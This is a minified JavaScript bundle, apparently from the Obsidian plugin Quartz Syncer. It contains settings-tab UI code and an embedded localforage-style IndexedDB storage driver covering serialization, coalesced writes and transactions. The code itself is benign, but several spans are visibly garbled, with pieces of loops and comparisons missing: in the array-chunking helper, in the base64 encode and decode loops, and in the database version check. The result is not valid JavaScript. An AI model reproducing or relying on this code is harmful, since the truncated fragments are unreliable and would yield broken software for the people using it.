Wh.PluginSettingTab{app;plugin;settings;settingsRootElement;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.settingsRootElement=i,this.settingsRootElement.classList.add("settings-tab-content")}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings"),this.initializeUIHeader(),this.initializeDiffViewStyleSetting(),this.settings.settings.lastUsedSettingsTab="ui",this.settings.plugin.saveSettings()}initializeUIHeader=()=>{new Wh.Setting(this.settingsRootElement).setName("User Interface").setDesc("Customize the appearance and behavior of Quartz Syncer.").setHeading()};initializeDiffViewStyleSetting=()=>{new Wh.Setting(this.settingsRootElement).setName("Diff view style").setDesc("Choose how differences are displayed when comparing local and published files.").addDropdown(e=>e.addOption("auto","Auto (Split on desktop, Unified on mobile)").addOption("split","Always Split (side-by-side)").addOption("unified","Always Unified (single column)").setValue(this.settings.settings.diffViewStyle).onChange(async n=>{this.settings.settings.diffViewStyle=n,await this.settings.plugin.saveSettings()}))}};var Qh=class{app;plugin;settingsRootElement;settings;datastore;constructor(e,n,r,i,s){this.app=e,this.plugin=n,this.settingsRootElement=r,this.settingsRootElement.classList.add("quartz-syncer-settings"),Gh.Platform.isDesktop?this.settingsRootElement.classList.add("quartz-syncer-desktop"):Gh.Platform.isMobile&&this.settingsRootElement.classList.add("quartz-syncer-mobile"),this.settings=i,this.datastore=s}getIcon(e){return(0,Gh.getIcon)(e)??activeDocument.createSpan()}async initialize(){this.settingsRootElement.empty();let e=this.settingsRootElement.createDiv({cls:"quartz-syncer-settings-description"});e.createSpan({text:"Remember to read the "}),e.createEl("a",{text:"documentation",href:"https://saberzero1.github.io/quartz-syncer-docs/"}),e.createSpan({text:" if you haven't already. A "}),e.createEl("a",{text:"setup guide",href:"https://saberzero1.github.io/quartz-syncer-docs/Setup-Guide"}),e.createSpan({text:" and a "}),e.createEl("a",{text:"usage guide",href:"https://saberzero1.github.io/quartz-syncer-docs/Usage-Guide"}),e.createSpan({text:" are also available. If you encounter any issues, please see the "}),e.createEl("a",{text:"troubleshooting section",href:"https://saberzero1.github.io/quartz-syncer-docs/Troubleshooting/"}),e.createSpan({text:" for help."});let r=this.settingsRootElement.createDiv({cls:"quartz-syncer-setting-header"}).createDiv({cls:"quartz-syncer-setting-tab-group"}),i=this.createTab("Git","git-branch"),s=this.createTab("Quartz","leaf"),o=this.createTab("Frontmatter","archive"),a=this.createTab("Integration","cable"),l=this.createTab("Performance","zap"),c=this.createTab("UI","layout");r.appendChild(i),r.appendChild(s),r.appendChild(o),r.appendChild(a),r.appendChild(l),r.appendChild(c);let u=this.settingsRootElement.createDiv({cls:"quartz-syncer-setting-content"}),f=[];f.push(new qg(this.app,this.plugin,this,this.createSettingsTab(u,"Git"))),f.push(new Zg(this.app,this.plugin,this,this.createSettingsTab(u,"Quartz"))),f.push(new Yg(this.app,this.plugin,this,this.createSettingsTab(u,"Frontmatter"))),f.push(new Jg(this.app,this.plugin,this,this.createSettingsTab(u,"Integration"))),f.push(new Xg(this.app,this.plugin,this,this.createSettingsTab(u,"Performance"))),f.push(new ey(this.app,this.plugin,this,this.createSettingsTab(u,"UI"))),this.settingsRootElement.querySelectorAll("[data-quartz-syncer-tab]").forEach(d=>{d.addEventListener("click",()=>{let p=d.getAttribute("data-quartz-syncer-tab");p&&this.setActiveTab(p,f)})}),this.setActiveTab(this.settings.lastUsedSettingsTab??"git",f)}createTab(e,n){let r=this.settingsRootElement.createDiv({cls:"quartz-syncer-navigation-item",attr:{"data-quartz-syncer-tab":e.toLowerCase()}});return r.createSpan({cls:"quartz-syncer-navigation-item-icon"}).appendChild(this.getIcon(n)),r.createSpan({text:e,cls:"quartz-syncer-navigation-item-text"}),r}createSettingsTab(e,n){let r=e.createDiv({cls:"quartz-syncer-tab-settings"});return r.id=`quartz-syncer-settings-tab-${n.toLowerCase()}`,r}setActiveTab(e,n){this.settingsRootElement.querySelectorAll("[data-quartz-syncer-tab]").forEach(i=>{i.getAttribute("data-quartz-syncer-tab")===e?i.addClass("quartz-syncer-navigation-item-active"):i.removeClass("quartz-syncer-navigation-item-active")}),this.settingsRootElement.querySelectorAll(".quartz-syncer-tab-settings").forEach((i,s)=>{i.id===`quartz-syncer-settings-tab-${e}`?(i.classList.add("quartz-syncer-tab-settings-active"),n[s].display()):i.classList.remove("quartz-syncer-tab-settings-active")})}};var ty=class extends pz.PluginSettingTab{app;plugin;constructor(e,n){super(e,n),this.app=e,this.plugin=n,this.plugin.settings.noteSettingsIsInitialized||(this.plugin.settings.noteSettingsIsInitialized=!0,this.plugin.saveSettings())}display(){let{containerEl:e}=this;new Qh(this.app,this.plugin,e,this.plugin.settings,this.plugin.datastore).initialize()}};m();m();var Ba=class extends Error{constructor(e,n,r,i){super(n),Object.defineProperty(this,"details",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.defineProperty(this,"code",{enumerable:!0,configurable:!0,writable:!0,value:void 0}),Object.setPrototypeOf(this,new.target.prototype),this.name="LocalSpaceError",this.code=e,this.details=r,i!==void 0&&(this.cause=i)}withDetails(e){return e?(this.details={...this.details??{},...e},this):this}},Je=(t,e,n)=>new Ba(t,e,n),ws=(t,e,n,r)=>{if(t instanceof Ba)return r?t.withDetails(r):t;let i=t instanceof Error?t:new Error(String(t)),s={...r??{},causeName:i.name,causeMessage:i.message};return new Ba(e,n,s,i)},Oz=(t,e="Unknown error")=>t instanceof Error?t instanceof Ba?t:ws(t,"UNKNOWN",t.message||e):ws(t,"UNKNOWN",typeof t=="string"?t:e);function ke(t,e){return e&&t.then(n=>e(null,n),n=>e(Oz(n),void 0)),t}function Jc(t,e,n,r){let i=o=>Oz(o);if(r?.compatibilityMode)return typeof e=="function"&&t.then(o=>{e(o)}),typeof n=="function"&&t.catch(o=>{n(i(o))}),t;let s=o=>{let a=i(o);n?n(a):e&&e(a,void 0)};return e?t.then(o=>e(null,o),s):n&&t.catch(s),t}function yK(t,e){return t.indexOf(e)!==-1}function Pz(t){return Array.isArray(t)}function ht(t){return typeof t!="string"?(console.warn(`key passed to LocalSpace API is not a string (got ${typeof t}). Using String() to convert.`),String(t)):t}function Fk(t,...e){let n=t;for(let r of e)if(r){let i=r;for(let s in r)if(Object.prototype.hasOwnProperty.call(r,s)){let o=i[s];n[s]=Pz(o)?[...o]:o}}return t}function Hk(t,e){try{return new Blob(t,e)}catch(n){if(!(n instanceof Error)||n.name!=="TypeError")throw n;let r=window,i=r.BlobBuilder||r.MSBlobBuilder||r.MozBlobBuilder||r.WebKitBlobBuilder;if(!i)throw Je("BLOB_UNSUPPORTED","Blob constructor not supported");let s=new i;for(let o of t)s.append(o);return s.getBlob(e?.type)}}function ay(t){if(Array.isArray(t))return t.map(({key:n,value:r})=>({key:ht(n),value:r}));if(t instanceof Map){let n=[];return t.forEach((r,i)=>{n.push({key:ht(i),value:r})}),n}let e=[];for(let n of Object.keys(t))e.push({key:ht(n),value:t[n]});return e}function ji(t,e){if(e<=0||e>=t.length)return[t];let n=[];for(let r=0;r{let t;return t=typeof window<"u"?window:typeof globalThis<"u"?globalThis:typeof self<"u"?self:{},t};function wz(t){let e=Wk(),n=.75*t.length,r=t.length,i=0,s=n;t[t.length-1]==="="&&(s--,t[t.length-2]==="="&&s--);let o=new e.ArrayBuffer(s),a=new e.Uint8Array(o);for(let l=0;l>4,a[i++]=(15&u)<<4|f>>2,a[i++]=(3&f)<<6|63&h}return o}function ry(t){let e=new(Wk()).Uint8Array(t),n="";for(let r=0;r>2],n+=To[(3&e[r])<<4|e[r+1]>>4],n+=To[(15&e[r+1])<<2|e[r+2]>>6],n+=To[63&e[r+2]];return e.length%3==2?n=n.substring(0,n.length-1)+"=":e.length%3==1&&(n=n.substring(0,n.length-2)+"=="),n}var bK={"[object Int8Array]":Nz,"[object Uint8Array]":Mz,"[object Uint8ClampedArray]":Rz,"[object Int16Array]":zz,"[object Uint16Array]":Bz,"[object Int32Array]":Lz,"[object Uint32Array]":$z,"[object Float32Array]":Uz,"[object Float64Array]":jz,"[object BigInt64Array]":qz,"[object BigUint64Array]":Vz},$a={serialize:async function(t){let e=t!=null?wK.call(t):"";if(e==="[object ArrayBuffer]")return ny+yz+ry(t);if(function(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}(t)){let n=bK[e];if(!n)throw Je("SERIALIZATION_FAILED","Failed to get type for BinaryArray",{valueType:e});let r=t.byteOffset,i=t.byteLength,s=t.buffer,o=s instanceof ArrayBuffer?s.slice(r,r+i):new Uint8Array(s,r,i).slice().buffer;return ny+n+ry(o)}if(e==="[object Blob]"){let n=t,r=await n.arrayBuffer(),i="~~local_forage_type~"+n.type+"~"+ry(r);return ny+Ik+i}try{return JSON.stringify(t)}catch(n){throw console.error("Couldn't convert value into a JSON string: ",t),n}},deserialize:function(t){if(t.substring(0,9)!==ny)return JSON.parse(t);let e=t.substring(13),n=t.substring(9,13),r,i=e;if(n===Ik&&gz.test(e)){let a=e.match(gz);a&&(r=a[1],i=e.substring(a[0].length))}let s=wz(i),o=Wk();switch(n){case yz:return s;case Ik:return Hk([s],{type:r});case Nz:return new o.Int8Array(s);case Mz:return new o.Uint8Array(s);case Rz:return new o.Uint8ClampedArray(s);case zz:return new o.Int16Array(s);case Bz:return new o.Uint16Array(s);case Lz:return new o.Int32Array(s);case $z:return new o.Uint32Array(s);case Uz:return new o.Float32Array(s);case jz:return new o.Float64Array(s);case qz:if(o.BigInt64Array===void 0)throw Je("DESERIALIZATION_FAILED","BigInt64Array is not supported in this environment",{operation:"deserialize",type:n});return new o.BigInt64Array(s);case Vz:if(o.BigUint64Array===void 0)throw Je("DESERIALIZATION_FAILED","BigUint64Array is not supported in this environment",{operation:"deserialize",type:n});return new o.BigUint64Array(s);default:throw Je("DESERIALIZATION_FAILED","Unknown type: "+n,{operation:"deserialize",type:n})}},stringToBuffer:wz,bufferToString:ry},Rk="local-forage-detect-blob-support",ru,$r={},iy=Object.prototype.toString,pi="asyncStorage",Ui="readonly",_o="readwrite",Kh=null,_n=(t,e,n,r="OPERATION_FAILED")=>t.catch(i=>{let s=i instanceof Error&&i.message?i.message:`IndexedDB ${e} failed`;throw ws(i,r,s,{driver:pi,operation:e,...n??{}})}),Hz=()=>typeof window<"u"&&window.navigator?window.navigator:typeof navigator<"u"?navigator:void 0;function zk(){return typeof indexedDB<"u"?indexedDB:typeof window<"u"&&(window.indexedDB||window.webkitIndexedDB||window.mozIndexedDB||window.OIndexedDB||window.msIndexedDB)||null}function Lk(t){return t?.idbFactory?t.idbFactory:zk()}function bz(t){return typeof ru=="boolean"?Promise.resolve(ru):Kh||(Kh=new Promise(e=>{let n=t.transaction(Rk,_o),r=Hk([""]);n.objectStore(Rk).put(r,"key"),n.onabort=i=>{i.preventDefault(),i.stopPropagation(),e(!1)},n.onerror=n.onabort,n.oncomplete=()=>{let i=Hz(),s=i?.userAgent??"",o=s.match(/Chrome\/(\d+)/),a=s.match(/Edge\//),l=o?parseInt(o[1],10):NaN,c=!!a||!o||Number.isNaN(l)||l>=43;e(c)}}).then(e=>(ru=e,Kh=null,e)).catch(()=>(Kh=null,ru=!1,!1)),Kh)}async function Zh(t,e){if(typeof ru=="boolean")return ru;let n=e??t.db;if(n)return bz(n);if(await Yz(t),!t.db)throw Je("DRIVER_UNAVAILABLE","IndexedDB not available",{driver:pi});return bz(t.db)}async function Ak(t){let e=await async function(n){if(typeof n.arrayBuffer=="function")return n.arrayBuffer();if(typeof FileReader>"u")throw Je("BLOB_UNSUPPORTED","Blob serialization not supported in this environment",{driver:pi});return new Promise((r,i)=>{let s=new FileReader;s.onerror=()=>i(s.error),s.onloadend=()=>r(s.result),s.readAsArrayBuffer(n)})}(t);return{__local_forage_encoded_blob:!0,data:$a.bufferToString(e),type:t.type}}function Yh(t){return Hk([$a.stringToBuffer(t.data)],{type:t.type})}function Jh(t){return!!t?.__local_forage_encoded_blob}function Wz(t){if(t.name)return t.name;throw Je("INVALID_CONFIG","IndexedDB database name is not configured.",{driver:pi,configKey:"name"})}function Cn(t){if(t.storeName)return t.storeName;throw Je("INVALID_CONFIG","IndexedDB storeName is not configured.",{driver:pi,configKey:"storeName"})}function Ua(t){let e=Wz(t);return t.bucket?.name?`${t.bucket.name}::${e}`:e}function Fo(t){return $r[Ua(t)]}function ly(t){let e=Ua(t);return $r[e]=$r[e]||{forages:[],db:null,dbReady:null,deferredOperations:[],prewarmPromise:null,prewarmed:!1,idleTimer:null,activeTransactions:0,pendingTransactions:[],coalesceStates:{}},$r[e]}function Gk(t){return Cn(t)}function Gz(t){let e=Fo(t);if(e)return e.coalesceStates[Gk(t)]}function vz(t){let e=Fo(t);if(!e)return;let n=Gk(t),r=e.coalesceStates[n];r&&(r.timer&&clearTimeout(r.timer),delete e.coalesceStates[n])}function oy(t){let e=ly(t),n={promise:null,resolve:null,reject:null};n.promise=new Promise((r,i)=>{n.resolve=r,n.reject=i}),e.deferredOperations.push(n),e.dbReady?e.dbReady=e.dbReady.then(()=>n.promise):e.dbReady=n.promise}function Bk(t){let e=Fo(t);if(!e)return;let n=e.deferredOperations.pop();return n?(n.resolve(),n.promise):void 0}function $k(t,e){let n=Fo(t);if(!n)return;let r=n.deferredOperations.pop();return r?(r.reject(e),r.promise):void 0}function iu(t,e){return new Promise((n,r)=>{let i=Lk(t);if(!i)return r(Je("DRIVER_UNAVAILABLE","IndexedDB not available",{driver:pi}));let s=Ua(t);if($r[s]=$r[s]||{forages:[],db:null,dbReady:null,deferredOperations:[],prewarmPromise:null,prewarmed:!1,idleTimer:null,activeTransactions:0,pendingTransactions:[],coalesceStates:{}},t.db){if(!e)return n(t.db);oy(t),t.db.close()}let o=e?i.open(t.name,t.version):i.open(t.name);e&&(o.onupgradeneeded=a=>{let l=a.target.result;try{l.createObjectStore(t.storeName),a.oldVersion<=1&&l.createObjectStore(Rk)}catch(c){if(c.name!=="ConstraintError")throw c;console.warn(`The database "${t.name}" has been upgraded from version ${a.oldVersion} to version ${a.newVersion}, but the storage "${t.storeName}" already exists.`)}}),o.onerror=a=>{a.preventDefault(),r(a.target.error)},o.onsuccess=()=>{let a=o.result;a.onversionchange=l=>{l.target.close();let c=Ua(t),u=$r[c];if(u){u.db=null,u.prewarmed=!1;for(let f of u.forages)f._dbInfo.db=null}},n(a),Bk(t)}})}function Qz(t,e){if(!t.db)return!0;let n=!t.db.objectStoreNames.contains(t.storeName),r=t.versiont.db.version;if(r&&(t.version!==e&&console.warn(`The database "${t.name}" can't be downgraded from version ${t.db.version} to version ${t.version}.`),t.version=t.db.version),i||n){if(n){let s=t.db.version+1;s>t.version&&(t.version=s)}return!0}return!1}function Kz(t,e){if(e===_o&&t.durability)return{durability:t.durability}}function Zz(t){let e=Fo(t),n=t.connectionIdleMs;e&&e.db&&n&&!(n<=0)&&(e.idleTimer&&clearTimeout(e.idleTimer),e.idleTimer=setTimeout(()=>{if(e.pendingTransactions.length>0||e.activeTransactions>0)Zz(t);else{try{e.db?.close()}catch{}e.db=null,e.prewarmed=!1;for(let r of e.forages)r._dbInfo.db=null}},n))}function kz(t,e,n){let r=function(l){let c=ly(l),u=Gk(l);return c.coalesceStates[u]=c.coalesceStates[u]||{storeName:u,queue:[],timer:null,coalescing:!1,drainPromise:null,stats:{totalWrites:0,coalescedWrites:0,transactionsSaved:0}},c.coalesceStates[u]}(t),i=e.type==="set"?{type:"set",key:e.key,value:e.value,resolve:()=>{},reject:()=>{}}:{type:"remove",key:e.key,resolve:()=>{},reject:()=>{}};r.queue.push(i),r.stats.totalWrites++;let s=t.coalesceWindowMs??8,o=t.coalesceMaxBatchSize;typeof o=="number"&&Number.isFinite(o)&&o>0&&r.queue.length>=o?nd(t,r):r.timer||(r.timer=setTimeout(()=>{r.timer=null,nd(t,r)},s));let a=new Promise((l,c)=>{i.resolve=l,i.reject=c});return n?.resolveImmediately?(a.catch(l=>console.warn("[localspace] coalesced write failed (eventual mode)",l)),e.type==="set"?Promise.resolve(e.value):Promise.resolve()):a}function nd(t,e){if(e.timer&&(clearTimeout(e.timer),e.timer=null),e.coalescing)return e.drainPromise??Promise.resolve();let n=e.queue.splice(0);if(n.length===0)return Promise.resolve();let r=function(a,l){return a.storeName===l.storeName?a:{...a,storeName:l.storeName}}(t,e),i=t.coalesceMaxBatchSize,s=typeof i=="number"&&Number.isFinite(i)&&i>0?ji(n,i):[n];e.coalescing=!0;let o=new Promise((a,l)=>{let c=u=>new Promise((f,h)=>{Hn(r,_o,(d,p)=>{if(!d&&p)try{let g=Cn(r),y=p.objectStore(g),w=null;for(let b of u)if(b.type==="set"){let S=y.put(b.value,b.key);S.onerror=()=>{w=S.error||new Error(`Failed to set "${String(b.key)}"`)}}else{let S=y.delete(b.key);S.onerror=()=>{w=S.error||new Error(`Failed to remove "${String(b.key)}"`)}}p.oncomplete=()=>{for(let b of u)b.type==="set"?b.resolve(b.value):b.resolve();u.length>1&&(e.stats.coalescedWrites+=u.length,e.stats.transactionsSaved+=u.length-1),f()},p.onabort=p.onerror=()=>{h(w||p.error||new Error("Failed to apply coalesced writes"))}}catch(g){h(g)}else h(d||new Error("Failed to create transaction"))})});(async()=>{for(let u of s)await c(u)})().then(()=>a()).catch(u=>{for(let f of n)f.reject(u);l(u)})});return e.drainPromise=o.then(()=>{if(e.coalescing=!1,e.queue.length>0)return nd(t,e)}).catch(a=>{throw e.coalescing=!1,a}).finally(()=>{e.coalescing||e.queue.length!==0||(e.drainPromise=null)}),e.drainPromise}function yr(t,e){if(!e?.force&&!t.coalesceWrites||!e?.force&&t.coalesceReadConsistency==="eventual")return Promise.resolve();let n=Fo(t);if(!n)return Promise.resolve();if(e?.scope==="database")return Object.values(n.coalesceStates).reduce((i,s)=>i.then(()=>nd(t,s)),Promise.resolve());let r=Gz(t);return r?nd(t,r):Promise.resolve()}function Hn(t,e,n,r=1){let i=s=>{!(r>0)||t.db&&s.name!=="InvalidStateError"&&s.name!=="NotFoundError"?n(s):Promise.resolve().then(()=>{if(!t.db||s.name==="NotFoundError"&&!t.db.objectStoreNames.contains(t.storeName)&&t.version<=t.db.version)return t.db&&(t.version=t.db.version+1),iu(t,!0)}).then(()=>Yz(t).then(()=>{Hn(t,e,n,r-1)})).catch(n)};try{let s=ly(t);s.idleTimer&&(clearTimeout(s.idleTimer),s.idleTimer=null);let o=t.maxConcurrentTransactions,a=()=>{if(s.pendingTransactions.length>0){let c=s.pendingTransactions.shift();c&&setTimeout(c,0)}},l=()=>{try{let c=Kz(t,e),u=c?t.db.transaction(t.storeName,e,c):t.db.transaction(t.storeName,e);s.activeTransactions+=1;let f=!1,h=()=>{f||(f=!0,s.activeTransactions=Math.max(0,s.activeTransactions-1),Zz(t),a())};u.addEventListener("complete",h),u.addEventListener("abort",h),u.addEventListener("error",h),n(null,u)}catch(c){i(c)}};if(o&&o>0&&s.activeTransactions>=o)return void s.pendingTransactions.push(l);l()}catch(s){i(s)}}function Yz(t){oy(t);let e=Ua(t),n=$r[e],r=n.forages;for(let i of r)i._dbInfo.db&&(i._dbInfo.db.close(),i._dbInfo.db=null);return t.db=null,n.db=null,iu(t,!1).then(i=>(t.db=i,Qz(t,1)?iu(t,!0):i)).then(i=>{t.db=n.db=i;for(let s of r)s._dbInfo.db=i}).catch(i=>{throw $k(t,i),i})}function vK(t){let e=this,n=(e._initReady??e.ready).bind(e),r=_n(n().then(()=>{if(e._dbInfo){let i=Fo(e._dbInfo);if(i&&i.dbReady)return i.dbReady}}),"ready");return ke(r,t),r}var kK={_driver:"asyncStorage",_initStorage:async function(t){let e=this,n={db:null};for(let c in t)Object.assign(n,{[c]:t[c]});if(n.idbFactory=await async function(c){if(c.bucket?.name){let u=typeof navigator<"u"?navigator:void 0,f=u?.storageBuckets;if(f&&typeof f.open=="function")try{return(await f.open(c.bucket.name,{durability:c.bucket.durability,persisted:c.bucket.persisted})).indexedDB??null}catch(h){console.warn(`Failed to open storage bucket "${c.bucket.name}", falling back to default bucket.`,h)}}return zk()}(t),!n.idbFactory)throw Je("DRIVER_UNAVAILABLE","IndexedDB not available",{driver:pi});Wz(n),Ua(n);let r=ly(n);r.forages.push(e),e._initReady||(e._initReady=e.ready,e.ready=vK);let i=[];function s(){return Promise.resolve()}for(let c of r.forages)if(c!==e){let u=(c._initReady??c.ready).bind(c);i.push(u().catch(s))}let o=r.forages.slice(0);await Promise.all(i),n.db=r.db;let a=await iu(n,!1);if(n.db=a,Qz(n,e._defaultConfig.version??1)){let c=await iu(n,!0);n.db=r.db=c}else n.db=r.db=a;e._dbInfo=n;for(let c of o)c!==e&&(c._dbInfo.db=n.db,c._dbInfo.version=n.version);let l=function(c,u){if(c.prewarmTransactions===!1)return;if(u.prewarmed||u.prewarmPromise)return u.prewarmPromise||Promise.resolve();let f=new Promise(h=>{try{let d=Cn(c),p=Kz(c,Ui),g=p?c.db.transaction(d,Ui,p):c.db.transaction(d,Ui);g.objectStore(d).count(),g.oncomplete=()=>h(),g.onabort=g.onerror=()=>h()}catch{h()}});return u.prewarmPromise=f,f.finally(()=>{u.prewarmPromise=null,u.prewarmed=!0}),f}(n,r);l&&l.catch(()=>{})},_support:()=>function(){try{let t=zk();if(!t)return!1;let e=Hz(),n=e?.userAgent??"";return!(e&&/Safari/.test(n)&&!/Chrome/.test(n))||new Promise(r=>{let i=t.open("__localforage_test");i.onsuccess=()=>{i.result.close(),t.deleteDatabase("__localforage_test"),r(!0)},i.onerror=()=>r(!1)})}catch{return!1}}(),iterate:function(t,e){let n=this,r=new Promise((s,o)=>{n.ready().then(()=>yr(n._dbInfo)).then(()=>{Hn(n._dbInfo,Ui,(a,l)=>{if(a)return o(a);try{let c=Cn(n._dbInfo),u=l.objectStore(c).openCursor(),f=1;u.onsuccess=()=>{let h=u.result;if(h){let d=h.value;d===void 0&&(d=null),Jh(d)&&(d=Yh(d));let p=t(d,h.key,f++);p!==void 0?s(p):h.continue()}else s(void 0)},u.onerror=()=>o(u.error)}catch(c){o(c)}})}).catch(o)}),i=_n(r,"iterate");return ke(i,e),i},getItem:function(t,e){let n=this;t=ht(t);let r=new Promise((s,o)=>{n.ready().then(()=>yr(n._dbInfo)).then(()=>{Hn(n._dbInfo,Ui,(a,l)=>{if(a)return o(a);try{let c=Cn(n._dbInfo),u=l.objectStore(c).get(t);u.onsuccess=()=>{let f=u.result;f===void 0&&(f=null),Jh(f)&&(f=Yh(f)),s(f)},u.onerror=()=>o(u.error)}catch(c){o(c)}})}).catch(o)}),i=_n(r,"getItem",{key:t},"OPERATION_FAILED");return ke(i,e),i},getItems:function(t,e){let n=this,r=t.map(o=>ht(o)),i=new Promise(async(o,a)=>{try{if(await n.ready(),await yr(n._dbInfo),r.length===0)return void o([]);let l=n._dbInfo,c=l.maxBatchSize??r.length,u=new Array(r.length),f=(p,g)=>new Promise((y,w)=>{Hn(l,Ui,(b,S)=>{if(b)return w(b);try{let D=Cn(l),k=S.objectStore(D),E=null,v=p.length;p.forEach((_,C)=>{let A=k.get(_);A.onsuccess=()=>{let P=A.result;P===void 0&&(P=null),Jh(P)&&(P=Yh(P)),u[g+C]={key:_,value:P},v-=1,v===0&&y()},A.onerror=()=>{E=A.error||new Error(`Failed to get "${_}"`)}}),S.onabort=S.onerror=()=>{w(E||S.error||new Error("Failed to get items transaction"))}}catch(D){w(D)}})}),h=ji(r,c),d=0;for(let p of h)await f(p,d),d+=p.length;o(u)}catch(l){a(l)}}),s=_n(i,"getItems",{keys:r},"OPERATION_FAILED");return ke(s,e),s},setItem:async function(t,e,n){let r=this;t=ht(t);let i=new Promise(async(o,a)=>{let l;try{l=r._dbInfo,l&&l.db||(await r.ready(),l=r._dbInfo),l.coalesceWrites&&l.coalesceReadConsistency!=="eventual"&&await yr(l),iy.call(e)==="[object Blob]"&&(await Zh(l)||(e=await Ak(e)));let c=e===void 0?null:e,u=!!l.coalesceWrites,f=l.coalesceReadConsistency==="eventual",h=u&&f&&!!l.coalesceFireAndForget;if(u){let d=kz(l,{type:"set",key:t,value:c},{resolveImmediately:h});return h?void o(c):void d.then(p=>o(p)).catch(a)}Hn(l,_o,(d,p)=>{if(d)return a(d);try{let g=Cn(l),y=p.objectStore(g).put(c,t);p.oncomplete=()=>{o(c)},p.onabort=p.onerror=()=>{let w=y.error||p.error;a(w)}}catch(g){a(g)}})}catch(c){a(c)}}),s=_n(i,"setItem",{key:t});return ke(s,n),s},setItems:function(t,e){let n=this,r=ay(t),i=r.map(a=>a.key),s=new Promise(async(a,l)=>{try{await n.ready(),await yr(n._dbInfo);let c=n._dbInfo,u;r.some(p=>iy.call(p.value)==="[object Blob]")&&(u=await Zh(c));let f=ji(r,c.maxBatchSize??r.length),h=[],d=async p=>{let g=[];for(let y of p){let w=y.value;w===void 0&&(w=null),iy.call(y.value)==="[object Blob]"&&((typeof u=="boolean"?u:await Zh(c))||(w=await Ak(y.value))),g.push({key:y.key,value:w})}return new Promise((y,w)=>{Hn(c,_o,(b,S)=>{if(b)return w(b);try{let D=Cn(c),k=S.objectStore(D),E=null;for(let v of g){let _=k.put(v.value,v.key);_.onerror=()=>{E=_.error||new Error(`Failed to set "${String(v.key)}"`)}}S.oncomplete=()=>y(g),S.onabort=S.onerror=()=>{w(E||S.error||new Error("Failed to set items transaction"))}}catch(D){w(D)}})})};for(let p of f){let g=await d(p);h.push(...g)}a(h)}catch(c){l(c)}}),o=_n(s,"setItems",{keys:i},"OPERATION_FAILED");return ke(o,e),o},removeItem:function(t,e){let n=this;t=ht(t);let r=new Promise((s,o)=>{(async()=>{let a=n._dbInfo;a&&a.db||(await n.ready(),a=n._dbInfo);let l=!!a.coalesceWrites,c=a.coalesceReadConsistency==="eventual",u=l&&c&&!!a.coalesceFireAndForget;if(l){let f=kz(a,{type:"remove",key:t},{resolveImmediately:u});return u?void s():void f.then(()=>s()).catch(o)}Hn(a,_o,(f,h)=>{if(f)return o(f);try{let d=Cn(a),p=h.objectStore(d).delete(t);h.oncomplete=()=>s(),h.onerror=()=>o(p.error),h.onabort=()=>{let g=p.error||h.error;o(g)}}catch(d){o(d)}})})().catch(o)}),i=_n(r,"removeItem",{key:t});return ke(i,e),i},removeItems:function(t,e){let n=this,r=t.map(o=>ht(o)),i=new Promise(async(o,a)=>{try{if(await n.ready(),r.length===0)return void o();let l=n._dbInfo,c=l.maxBatchSize??r.length;await yr(l,{force:!0});let u=h=>new Promise((d,p)=>{Hn(l,_o,(g,y)=>{if(g)return p(g);try{let w=Cn(l),b=y.objectStore(w),S=null;for(let D of h){let k=b.delete(D);k.onerror=()=>{S=k.error||new Error(`Failed to remove "${D}"`)}}y.oncomplete=()=>d(),y.onabort=y.onerror=()=>{p(S||y.error||new Error("Failed to remove items transaction"))}}catch(w){p(w)}})}),f=ji(r,c);for(let h of f)await u(h);o()}catch(l){a(l)}}),s=_n(i,"removeItems",{keys:r});return ke(s,e),s},runTransaction:function(t,e,n){let r=this,i=new Promise(async(o,a)=>{try{await r.ready();let l=r._dbInfo,c;await yr(l,{force:!0});try{c=await Zh(l)}catch{c=void 0}Hn(l,t,(u,f)=>{if(!u&&f)try{let h=Cn(l),d=f.objectStore(h),p=c,g=()=>{try{return f.objectStore(h),!0}catch{return!1}},y=async()=>(typeof p=="boolean"||(p=await Zh(l,f.db)),p),w=()=>{if(t===Ui)throw Je("TRANSACTION_READONLY","Transaction is readonly",{driver:pi,operation:"runTransaction",transactionMode:t})},b={get:E=>new Promise((v,_)=>{let C=d.get(ht(E));C.onsuccess=()=>{let A=C.result;A===void 0&&(A=null),Jh(A)&&(A=Yh(A)),v(A)},C.onerror=()=>_(C.error)}),set:async(E,v)=>{w();let _=v;if(_===void 0&&(_=null),iy.call(v)==="[object Blob]"&&(await y()||(_=await Ak(v))),!g())throw new Error("Transaction became inactive while preparing data.");return new Promise((C,A)=>{let P=d.put(_,ht(E));P.onsuccess=()=>C(_),P.onerror=()=>A(P.error)})},remove:E=>new Promise((v,_)=>{w();let C=d.delete(ht(E));C.onsuccess=()=>v(),C.onerror=()=>_(C.error)}),keys:()=>new Promise((E,v)=>{let _=[],C=d.openKeyCursor();C.onsuccess=()=>{let A=C.result;A?(_.push(A.key),A.continue()):E(_)},C.onerror=()=>v(C.error)}),iterate:E=>new Promise((v,_)=>{let C=d.openCursor(),A=1;C.onsuccess=()=>{let P=C.result;if(P){let N=P.value;N===void 0&&(N=null),Jh(N)&&(N=Yh(N));let B=E(N,P.key,A++);B!==void 0?v(B):P.continue()}else v(void 0)},C.onerror=()=>_(C.error)}),clear:()=>new Promise((E,v)=>{w();let _=d.clear();_.onsuccess=()=>E(),_.onerror=()=>v(_.error)})},S=Promise.resolve().then(()=>e(b)),D=new Promise((E,v)=>{f.oncomplete=()=>E(),f.onabort=()=>v(f.error||new Error("Transaction aborted")),f.onerror=()=>v(f.error||new Error("Transaction error"))}),k=S.catch(E=>{try{f.abort()}catch{}throw E});Promise.allSettled([k,D]).then(([E,v])=>{E.status!=="rejected"?v.status!=="rejected"?o(E.value):a(v.reason):a(E.reason)})}catch(h){a(h)}else a(u||new Error("Failed to create transaction"))})}catch(l){a(l)}}),s=_n(i,"runTransaction",{transactionMode:t});return ke(s,n),s},clear:function(t){let e=this,n=new Promise((i,s)=>{e.ready().then(()=>yr(e._dbInfo,{force:!0})).then(()=>{Hn(e._dbInfo,_o,(o,a)=>{if(o)return s(o);try{let l=Cn(e._dbInfo),c=a.objectStore(l).clear();a.oncomplete=()=>i(),a.onabort=a.onerror=()=>{let u=c.error||a.error;s(u)}}catch(l){s(l)}})}).catch(s)}),r=_n(n,"clear");return ke(r,t),r},length:function(t){let e=this,n=new Promise((i,s)=>{e.ready().then(()=>yr(e._dbInfo)).then(()=>{Hn(e._dbInfo,Ui,(o,a)=>{if(o)return s(o);try{let 